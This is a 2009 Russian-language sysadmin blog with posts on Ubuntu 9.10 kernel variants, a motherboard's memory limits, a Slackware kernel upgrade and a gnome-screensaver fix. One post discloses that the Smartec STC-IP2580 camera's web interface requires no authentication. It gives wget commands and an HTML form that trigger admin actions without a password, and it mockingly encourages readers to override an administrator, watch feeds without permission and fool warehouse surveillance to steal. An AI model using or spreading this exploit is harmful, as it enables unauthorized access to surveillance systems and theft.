понедельник, 2 ноября 2009 г.

Стандартные ядра в Ubuntu 9.10 Karmic Koala

На прошлой неделе вышла в свет очередная версия замечательной операционной системы Ubuntu. В этой статье рассмотрим стандартные ядра включенные в ее состав. Список можно получить с помощью команды:

administrator@ubuntu910:~$ aptitude search linux-image- | grep -v 2.6
p  linux-image-386          - Generic Linux kernel image
p  linux-image-ec2          - Linux kernel image for ec2 machines
i  linux-image-generic      - Generic Linux kernel image
p  linux-image-generic-pae  - Generic Linux kernel image
p  linux-image-rt           - Rt Linux kernel image
p  linux-image-server       - Linux kernel image on Server Equipment.
p  linux-image-virtual      - Linux kernel image for virtual machines

Каждый из этих пакетов является метапакетом, который всегда зависит от самой последней версии конкретной сборки ядра. Не буду унижать читателя описанием того, как устанавливать или удалять пакеты в Ubuntu. Вместо этого кратко рассмотрим возможные варианты.

Generic

Это стандартное ядро для desktop-версии дистрибутива. Соотвественно оно оптимизировано для наилучшей работы прикладных пользовательских программ. Устанавливается по умолчанию, если вы специально не меняли ядро, то у вас работает именно оно. Одинаково хорошо подходит для всех современных (и не очень современных) процессоров Intel и AMD.

Generic-PAE

Нововведение в версии 9.10, и это ядро меня особенно порадовало. Полностью повторяет конфигурацию Generic ядра, за одним исключением — включена поддержка технологии PAE. Технология PAE позволяет использовать до 64 Гб оперативной памяти в 32-х разрядной операционной системе. При использовании обычного Generic ядра проблематично заставить операционную систему увидеть более 3 Гб оперативной памяти. Однако в современных реалиях 4 Гб памяти даже на ноутбуках уже не редкость, не говоря уже про настольные компьютеры, когда и дешевые материнские платы поддерживают 4, 8, 16 Гб памяти. До Ubuntu 9.10 альтернативой было либо использование Server версии ядра, либо ручная пересборка ядра с нужными опциями конфигурации.

386

Еще одна слегка модифицированная версия Generic ядра. Данное ядро собрано с оптимизацией для архитектуры центрального процессора i486, в отличии от Generic ядра где применяется оптимизация под архитектуру i586. Иногда встречается ошибка, когда владельцы процессоров Intel устанавливают данное ядро в надежде, что оно подходит им больше чем Generic. Это не так! Ядро 386 предназначено для очень старых процессоров, старее Pentium Pro, это процессоры выпущенные до 1996 года!

Server

Это стандартное ядро для server-версии дистрибутива. Планировщик процессов, планировщик ввода-вывода, таймеры ядра оптимизированы для серверного применения, т.е. для работы процессов-демонов. Сборка произведена для процессорной архитектуры i686. Также включена поддержка 64 Гб оперативной памяти — технология PAE.

Virtual

Данная версия ядра предназначена для применения когда Ubuntu запускается в виртуализированной среде, например внутри какой-либо виртуальной машины.

EC2

Ещё одно нововведение в Ubuntu 9.10. Это ядро нужно для работы с технологией Ubuntu Enterprise Cloud/Elastic Computing Cloud (EC2). Если вы не занимаетесь этими самыми "облаками", то просто игнорируйте данное ядро.

RT

Версия ядра с патчами для минимизации времени отклика. Попытка сделать из Linux операционную систему реального времени.

четверг, 28 мая 2009 г.

Материнская плата ASUS P5QL-EM

  1. Возможно для вас важна такая характеристика материнской платы как максимальный объём поддерживаемой памяти. Тогда ни в коем случае не покупайте Asus P5QL-EM. Фактически заявленного объема в 8Гб вам достичь не удасться, только 4Гб. Точнее можно, но для этого нужна особо хитрая специальная память, которой в обычных замкадских магазинах не купишь. До этого момента я полностью доверял компании Asus и раньше она в подобном обмане потребителей замечена не была.
  2. На данной материнской плате Ubuntu 8.04 LTS при настройках BIOS по умолчанию не видит SATA-устройств. Чтобы исправить эту ситуацию необходимо в BIOS на вкладке «Main» выбрать пункт «Storage Configuration» и изменить значение параметра «Configure SATA As» c «IDE» на «AHCI». После этого всё устанавливается и загружается нормально, вот такое колдунство.

среда, 20 мая 2009 г.

Обновление ядра slackware из стандартных пакетов

Задача такая: есть продакшн-сервер на Slackwaree 9.1. Необходимо обновить на нем ядро до более-менее современой версии. Как ни жалко расставаться с последним в нашей конторе, верно служившим ядром 2.4-ой версии, но жизнь не стоит на месте.

Самостоятельная сборка пакета с ядром для slackware — задача простая, если знаешь что делать :-). Но я сторонник максимального использования стандартных компонентов, созданных официальным мейнтейнером. А учитывая что ядро это довольно независимая часть от остальной системы, то легко можно использовать стандартные пакеты от старших версий slackware.

Итак, на текущий момент, последняя версия Slackwaree 12.2 с ядром 2.6.27.7 — неплохо. Нам понадобятся следующие пакеты:

kernel-generic-smp-2.6.27.7_smp-i686-1.tgz
kernel-modules-smp-2.6.27.7_smp-i686-1.tgz
mkinitrd-1.3.2-i486-4.tgz

Я выбрал generic-smp версию ядра, как наиболее подходящюю под своё железо. Надеюсь вы нигде не используете huge версии ядер, которые подходят только для начальной установки системы? Подробнее можно прочитать здесь: «Стандартные ядра в Slackware 12». Для установки generic-ядра понадобится утилита mkinitrd. Т.к. в Slackware 9.1 ее нет в стандартных репозитариях, также берем пакет из Slackware 12.2.

Выкачиваем все эти пакеты в какую-либо директорию и выполняем там команду:

installpkg *.tgz

Далее остается настроить загрузчик lilo на использование нового ядра. Как это сделать так же можно прочитать по приведенной выше ссылке.

Всё, после перезагрузки сервера можно наслаждаться каттинг эдж ядром из стандартного пакета на старенькой ОС:

# cat /etc/slackware-version 
Slackware 9.1.0
# uname -sr 
Linux 2.6.27.7-smp

P.S. Надеюсь вы понимаете, что предже чем проделывать всё это на рабочем сервере, необходимо провести эксперимент на тестовом :-)

среда, 4 марта 2009 г.

Программная уязвимость IP камеры Smartec STC-IP2580

Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой Smartec STC-IP2580 часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.

Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:

# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php

Предположим что (это параметры по умолчанию):

  • ip-адрес камеры 192.168.1.1
  • логин Admin
  • пароль 123456

По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:

wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились — для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры — это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:

wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.

Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:

<html>
  <body>
    <form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    >
      <input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN">
      <input type="submit" value="OK">
    </form>
  </body>
</html>

Далее откройте её в браузере, нажмите кнопку «OK» и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)

понедельник, 9 февраля 2009 г.

Хранитель экрана в ubuntu (gnome) не принимает пароль?

В результате неизвестных науке действий около года назад у меня случилось несчастье. А именно, как написано в заголовке, хранитель экрана gnome перестал принимать правильный пароль. С наскоку разобраться не получилось, полная переустановка пакета gnome-screensaver не помогла. В качестве временного решения использовал выход в текстовую консоль и принудительное завершение процесса gnome-screensaver.

Но однажды у меня выдалось немного свободного времени, а также обострилось желание решить эту проблему. Копание в логах дало невнятные сообщения:

maxim@ubuntu610:~$ grep gnome-screensaver /var/log/auth.log
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) could not recover authentication token
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) authentication failure; logname= uid=1000 euid=1000 tty=:0.0 ruser= rhost=  user=maxim

Дальше спросил у великого Google. Пол-часа поисков дало описание проблемы и ее решение на launchpad.net. А именно владелец и группа файла /etc/shadow должны быть соотвественно root и shadow. Если это не так, то следующая команда исправит ситуацию:

sudo chown root:shadow /etc/shadow

После этого проблема была решена.